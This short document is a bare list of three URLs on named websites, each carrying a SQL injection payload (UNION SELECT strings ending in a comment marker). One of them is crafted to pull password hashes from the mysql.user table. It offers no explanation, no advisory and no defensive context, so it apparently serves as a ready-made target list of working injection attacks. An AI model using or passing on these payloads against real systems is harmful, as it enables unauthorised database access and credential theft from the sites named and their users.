http://www.starkeith.net/member.php?user_id=-4%20union%20select%201,2,3,4,5,6,7,8/*

http://bartertown.com/ref/index.php?user_id=5 UNION SELECT 0,1,2,3,4,5,6,7,8,9,10,11,12,13/*

http://www.cgam.nerc.ac.uk/people/people_research.php?user_ID=-5%20UNION%20SELECT%200,1,2,3,4,password,6,7,8,9,10 ,11,12,13,14,15,16,17%20from%20mysql.user/*